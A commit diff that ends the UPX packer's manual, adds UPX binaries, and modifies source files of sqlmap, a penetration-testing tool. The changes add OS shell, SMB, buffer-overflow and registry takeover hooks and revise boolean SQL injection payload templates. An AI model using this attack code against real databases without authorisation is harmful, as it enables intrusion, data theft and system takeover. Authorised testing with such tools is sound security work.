the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
the very bad habit of replacing your stub with its own (outdated) version.
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
will fix the 4 KiB alignment of the stub.</p>
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
disable this functionality (see below).</p>
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information and trailing garbage will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--coff Produce COFF output instead of EXE. By default
UPX keeps your current stub.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
<p>Introduction</p>
<pre>
Linux/386 support in UPX consists of 3 different executable formats,
one optimized for ELF executables (&quot;linux/elf386&quot;), one optimized
for shell scripts (&quot;linux/sh386&quot;), and one generic format
(&quot;linux/386&quot;).</pre>
<pre>
We will start with a general discussion first, but please
also read the relevant docs for each of the individual formats.</pre>
<pre>
Also, there is special support for bootable kernels - see the
description of the vmlinuz/386 format.</pre>
<p>General user's overview</p>
<pre>
Running a compressed executable program trades less space on a
``permanent'' storage medium (such as a hard disk, floppy disk,
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
Running a compressed executable also requires some additional CPU
cycles to generate the compressed executable in the first place,
and to decompress it at each invocation.</pre>
<pre>
How much space is traded? It depends on the executable, but many
programs save 30% to 50% of permanent disk space. How much CPU
overhead is there? Again, it depends on the executable, but
decompression speed generally is at least many megabytes per second,
and frequently is limited by the speed of the underlying disk
or network I/O.</pre>
<pre>
Depending on the statistics of usage and access, and the relative
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
invoking and running a compressed executable can be faster than
directly running the corresponding uncompressed program.
The operating system might perform fewer expensive I/O operations
to invoke the compressed program. Paging to or from swap space
or /tmp might be faster than paging from the general file system.
``Medium-sized'' programs which access about 1/3 to 1/2 of their
stored program bytes can do particularly well with compression.
Small programs tend not to benefit as much because the absolute
savings is less. Big programs tend not to benefit proportionally
because each invocation may use only a small fraction of the program,
yet UPX decompresses the entire program before invoking it.
But in environments where disk or flash memory storage is limited,
then compression may win anyway.</pre>
<pre>
Currently, executables compressed by UPX do not share RAM at runtime
in the way that executables mapped from a file system do. As a
result, if the same program is run simultaneously by more than one
process, then using the compressed version will require more RAM and/or
swap space. So, shell programs (bash, csh, etc.) and ``make''
might not be good candidates for compression.</pre>
<pre>
UPX recognizes three executable formats for Linux: Linux/elf386,
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
it accommodates any file that can be executed. At runtime, the UPX
decompression stub re-creates in /tmp a copy of the original file,
and then the copy is (re-)executed with the same arguments.
ELF binary executables prefer the Linux/elf386 format by default,
because UPX decompresses them directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Shell scripts where the underlying shell accepts a ``-c'' argument
can use the Linux/sh386 format. UPX decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.</pre>
<p>General benefits:</p>
<pre>
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
libc6, Shell/Perl/Python/... scripts, standalone Java .class
binaries, or whatever...
All scripts and programs will work just as before.</pre>
<pre>
- Compressed programs are completely self-contained. No need for
any external program.</pre>
<pre>
- UPX keeps your original program untouched. This means that
after decompression you will have a byte-identical version,
and you can use UPX as a file compressor just like gzip.
[ Note that UPX maintains a checksum of the file internally,
so it is indeed a reliable alternative. ]</pre>
<pre>
- As the stub only uses syscalls and isn't linked against libc it
should run under any Linux configuration that can run ELF
binaries.</pre>
<pre>
- For the same reason compressed executables should run under
FreeBSD and other systems which can run Linux binaries.
[ Please send feedback on this topic ]</pre>
<p>General drawbacks:</p>
<pre>
- It is not advisable to compress programs which usually have many
instances running (like `sh' or `make') because the common segments of
compressed programs won't be shared any longer between different
processes.</pre>
<pre>
- `ldd' and `size' won't show anything useful because all they
see is the statically linked stub. Since version 0.82 the section
headers are stripped from the UPX stub and `size' doesn't even
recognize the file format. The file patches/patch-elfcode.h has a
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
<p>General notes:</p>
<pre>
- As UPX leaves your original program untouched it is advantageous
to strip it before compression.</pre>
<pre>
- If you compress a script you will lose platform independence -
this could be a problem if you are using NFS mounted disks.</pre>
<pre>
- Compression of suid, guid and sticky-bit programs is rejected
because of possible security implications.</pre>
<pre>
- For the same reason there is no sense in making any compressed
program suid.</pre>
<pre>
- Obviously UPX won't work with executables that want to read data
from themselves. E.g., this might be a problem for Perl scripts
which access their __DATA__ lines.</pre>
<pre>
- In case of internal errors the stub will abort with exitcode 127.
Typical reasons for this to happen are that the program has somehow
been modified after compression.
Running `strace -o strace.log compressed_file' will tell you more.</pre>
<p>
</p>
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The linux/elf386 format decompresses directly into RAM,
uses only one exec, does not use space in /tmp,
and does not use /proc.</p>
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For ELF executables, UPX decompresses directly to memory, simulating
the mapping that the operating system kernel uses during exec(),
including the PT_INTERP program interpreter (if any).
The brk() is set by a special PT_LOAD segment in the compressed
executable itself. UPX then wipes the stack clean except for
arguments, environment variables, and Elf_auxv entries (this is
required by bugs in the startup code of /lib/ld-linux.so as of
May 2000), and transfers control to the program interpreter or
the e_entry address of the original executable.</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
<p>Please read the general Linux description first.</p>
<p>Shell scripts where the underling shell accepts a ``-c'' argument
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.
It does not use space in /tmp, and does not use /proc.</p>
<p>Linux/sh386 is automatically selected for shell scripts that
use a known shell.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For shell script executables (files beginning with &quot;#!/&quot; or &quot;#! /&quot;)
where the shell is known to accept &quot;-c &lt;command&gt;&quot;, UPX decompresses
the file into low memory, then maps the shell (and its PT_INTERP),
and passes control to the shell with the entire decompressed file
as the argument after &quot;-c&quot;. Known shells are sh, ash, bash, bsh, csh,
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
for shell scripts which use the one optional string argument after
the shell name in the script (example: &quot;#! /bin/sh option3\n&quot;.)</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The generic linux/386 format decompresses to /tmp and needs
/proc file system support. It starts the decompressed program
via the <code>execve()</code> syscall.</p>
<p>Linux/386 is only selected if the specialized linux/elf386
and linux/sh386 won't recognize a file.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For files which are not ELF and not a script for a known &quot;-c&quot; shell,
UPX uses kernel execve(), which first requires decompressing to a
temporary file in the file system. Interestingly -
because of the good memory management of the Linux kernel - this
often does not introduce a noticeable delay, and in fact there
will be no disk access at all if you have enough free memory as
the entire process takes places within the file system buffers.</pre>
<pre>
A compressed executable consists of the UPX stub and an overlay
which contains the original program in a compressed form.</pre>
<pre>
The UPX stub is a statically linked ELF executable and does
the following at program startup:</pre>
<pre>
1) decompress the overlay to a temporary location in /tmp
2) open the temporary file for reading
3) try to delete the temporary file and start (execve)
the uncompressed program in /tmp using /proc/&lt;pid&gt;/fd/X as
attained by step 2)
4) if that fails, fork off a subprocess to clean up and
start the program in /tmp in the meantime</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- You need additional free disk space for the uncompressed program
in your /tmp directory. This program is deleted immediately after
decompression, but you still need it for the full execution time
of the program.</pre>
<pre>
- You must have /proc file system support as the stub wants to open
/proc/&lt;pid&gt;/exe and needs /proc/&lt;pid&gt;/fd/X. This also means that you
cannot compress programs that are used during the boot sequence
before /proc is mounted.</pre>
<pre>
- Utilities like `top' will display numerical values in the process
name field. This is because Linux computes the process name from
the first argument of the last execve syscall (which is typically
something like /proc/&lt;pid&gt;/fd/3).</pre>
<pre>
- Because of temporary decompression to disk the decompression speed
is not as fast as with the other executable formats. Still, I can see
no noticeable delay when starting programs like my ~3 MiB emacs (which
is less than 1 MiB when compressed :-).</pre>
<p>Extra options available for this executable format:</p>
<pre>
--force-execve Force the use of the generic linux/386 &quot;execve&quot;
format, i.e. do not try the linux/elf386 and
linux/sh386 formats.</pre>
<p>
</p>
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
<p>This is the executable format used by the Sony PlayStation (PSone),
a Mips R3000 based gaming console which is popular since the late '90s.
Support of this format is very similar to the Atari one, because of
nostalgic feelings of one of the authors.</p>
<p>Packed programs will be byte-identical to the original after uncompression,
until further notice.</p>
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
<p>Notes:</p>
<pre>
- UPX creates as default a suitable executable for CD-Mastering
and console transfer. For a CD-Master main executable you could also try
the special option &quot;--boot-only&quot; as described below.
It has been reported that upx packed executables are fully compatible with
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
Sony PlayStation (PSone) emulation mode.</pre>
<pre>
- Normally the packed files use the same memory areas like the uncompressed
versions, so they will not override other memory areas while unpacking.
If this isn't possible UPX will abort showing a 'packed data overlap'
error. With the &quot;--force&quot; option UPX will relocate the loading address
for the packed file, but this isn't a real problem if it is a single or
the main executable.</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
<pre>
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
<pre>
--boot-only This format is for main exes and CD-Mastering only !
It may slightly improve the compression ratio,
decompression routines are faster than default ones.
But it cannot be used for console transfer !</pre>
<pre>
--no-align This option disables CD mode 2 data sector format
alignment. May slightly improves the compression ratio,
but the compressed executable will not boot from a CD.
Use it for console transfer only !</pre>
<p>
</p>
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
<p>Same as win32/pe.</p>
<p>
</p>
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
<p>vmlinuz/386 is completely unrelated to the other Linux executable
formats, and it does not share any of their drawbacks.</p>
<p>Notes:</p>
<pre>
- Be sure that &quot;vmlinuz/386&quot; or &quot;bvmlinuz/386&quot; is displayed
during compression - otherwise a wrong executable format
may have been used, and the kernel won't boot.</pre>
<p>Benefits:</p>
<pre>
- Better compression (but note that the kernel was already compressed,
so the improvement is not as large as with other formats).
Still, the bytes saved may be essential for special needs like
boot disks.</pre>
<pre>
For example, this is what I get for my 2.2.16 kernel:
1589708 vmlinux
641073 bzImage [original]
560755 bzImage.upx [compressed by &quot;upx -9&quot;]</pre>
<pre>
- Much faster decompression at kernel boot time (but kernel
decompression speed is not really an issue these days).</pre>
<p>Drawbacks:</p>
<pre>
(none)</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
<p><strong>UPX</strong> has been successfully tested with the following extenders:
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
The WDOS/X extender is partly supported (for details
see the file bugs BUGS).</p>
<p>DLLs and the LX format are not supported.</p>
<p>Extra options available for this executable format:</p>
<pre>
--le Produce an unbound LE output instead of
keeping the current stub.</pre>
<p>
</p>
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
still some incompatibilities with some files.</p>
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
can see increased memory usage of your compressed files because the whole
program is loaded into memory at startup.
If you start several instances of huge compressed programs you're
wasting memory because the common segments of the program won't
get shared across the instances.
On the other hand if you're compressing only smaller programs, or
running only one instance of larger programs, then this penalty is
smaller, but it's still there.</p>
<p>If you're running executables from network, then compressed programs
will load faster, and require less bandwidth during execution.</p>
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
code when they got used by multiple applications. So compressing msvcrt.dll
is a waste of memory, but compressing the dll plugins of a particular
application may be a better idea.</p>
<p>Screensavers are supported, with the restriction that the filename
must end with ``.scr'' (as screensavers are handled slightly different
than normal exe files).</p>
<p>UPX compressed PE files have some minor memory overhead (usually in the
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
line switch during compression.</p>
<p>Extra options available for this executable format:</p>
<pre>
--compress-exports=0 Don't compress the export section.
Use this if you plan to run the compressed
program under Wine.
--compress-exports=1 Compress the export section. [DEFAULT]
Compression of the export section can improve the
compression ratio quite a bit but may not work
with all programs (like winword.exe).
UPX never compresses the export section of a DLL
regardless of this option.</pre>
<pre>
--compress-icons=0 Don't compress any icons.
--compress-icons=1 Compress all but the first icon.
--compress-icons=2 Compress all icons which are not in the
first icon directory. [DEFAULT]
--compress-icons=3 Compress all icons.</pre>
<pre>
--compress-resources=0 Don't compress any resources at all.</pre>
<pre>
--keep-resource=list Don't compress resources specified by the list.
The members of the list are separated by commas.
A list member has the following format: I&lt;type[/name]&gt;.
I&lt;Type&gt; is the type of the resource. Standard types
must be specified as decimal numbers, user types can be
specified by decimal IDs or strings. I&lt;Name&gt; is the
identifier of the resource. It can be a decimal number
or a string. For example:</pre>
<pre>
--keep-resource=2/MYBITMAP,5,6/12345</pre>
<pre>
UPX won't compress the named bitmap resource &quot;MYBITMAP&quot;,
it leaves every dialog (5) resource uncompressed, and
it won't touch the string table resource with identifier
12345.</pre>
<pre>
--force Force compression even when there is an
unexpected value in a header field.
Use with care.</pre>
<pre>
--strip-relocs=0 Don't strip relocation records.
--strip-relocs=1 Strip relocation records. [DEFAULT]
This option only works on executables with base
address greater or equal to 0x400000. Usually the
compressed files becomes smaller, but some files
may become larger. Note that the resulting file will
not work under Windows 3.x (Win32s).
UPX never strips relocations from a DLL
regardless of this option.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<hr />
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
<p>Exit status is normally 0; if an error occurs, exit status
is 1. If a warning occurs, exit status is 2.</p>
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
<p>
</p>
<hr />
<h1><a name="bugs">BUGS</a></h1>
<p>Please report all bugs immediately to the authors.</p>
<p>
</p>
<hr />
<h1><a name="authors">AUTHORS</a></h1>
<pre>
Markus F.X.J. Oberhumer &lt;markus@oberhumer.com&gt;
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
<pre>
Laszlo Molnar &lt;ml1050@users.sourceforge.net&gt;</pre>
<pre>
John F. Reiser &lt;jreiser@BitWagon.com&gt;</pre>
<pre>
Jens Medoch &lt;jssg@users.sourceforge.net&gt;</pre>
<p>
</p>
<hr />
<h1><a name="copyright">COPYRIGHT</a></h1>
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
<p>Copyright (C) 2000-2008 John F. Reiser</p>
<p>Copyright (C) 2002-2008 Jens Medoch</p>
<p>This program may be used freely, and you are welcome to
redistribute it under certain conditions.</p>
<p>This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
<strong>UPX License Agreement</strong> for more details.</p>
<p>You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
</body>
</html>

BIN
lib/contrib/upx/linux/upx Executable file

Binary file not shown.

BIN
lib/contrib/upx/macosx/upx Executable file

Binary file not shown.

BIN
lib/contrib/upx/windows/upx.exe Executable file

Binary file not shown.

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.controller.handler import setHandler from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.data import conf from lib.core.data import conf
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
def action(): def action():
""" """
This function exploit the SQL injection on the affected This function exploit the SQL injection on the affected
@@ -77,7 +74,7 @@ def action():
if conf.timeTest: if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest()) dumper.string("time based blind sql injection payload", timeTest())
if conf.unionTest: if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
dumper.string("valid union", unionTest()) dumper.string("valid union", unionTest())
# Enumeration options # Enumeration options
@@ -125,13 +122,43 @@ def action():
if conf.sqlShell: if conf.sqlShell:
conf.dbmsHandler.sqlShell() conf.dbmsHandler.sqlShell()
# User-defined function options
if conf.udfInject:
conf.dbmsHandler.udfInjectCustom()
# File system options # File system options
if conf.rFile: if conf.rFile:
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
if conf.wFile: if conf.wFile:
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile)) conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
# Operating system options
if conf.osCmd:
conf.dbmsHandler.osCmd()
# Takeover options
if conf.osShell: if conf.osShell:
conf.dbmsHandler.osShell() conf.dbmsHandler.osShell()
if conf.osPwn:
conf.dbmsHandler.osPwn()
if conf.osSmb:
conf.dbmsHandler.osSmb()
if conf.osBof:
conf.dbmsHandler.osBof()
# Windows registry options
if conf.regRead:
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
if conf.regAdd:
conf.dbmsHandler.regAdd()
if conf.regDel:
conf.dbmsHandler.regDel()
# Miscellaneous options
if conf.cleanup:
conf.dbmsHandler.cleanup()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
import time import time
from lib.controller.action import action
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.convert import md5hash
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -39,7 +37,6 @@ from lib.core.session import setString
from lib.core.session import setRegexp from lib.core.session import setRegexp
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis): def checkSqlInjection(place, parameter, value, parenthesis):
""" """
This function checks if the GET, POST, Cookie, User-Agent This function checks if the GET, POST, Cookie, User-Agent
@@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming custom injection " infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable " infoMsg += "custom injectable "
logger.info(infoMsg) logger.info(infoMsg)
@@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming unescaped numeric injection " infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable " infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming single quoted string injection " infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable " infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
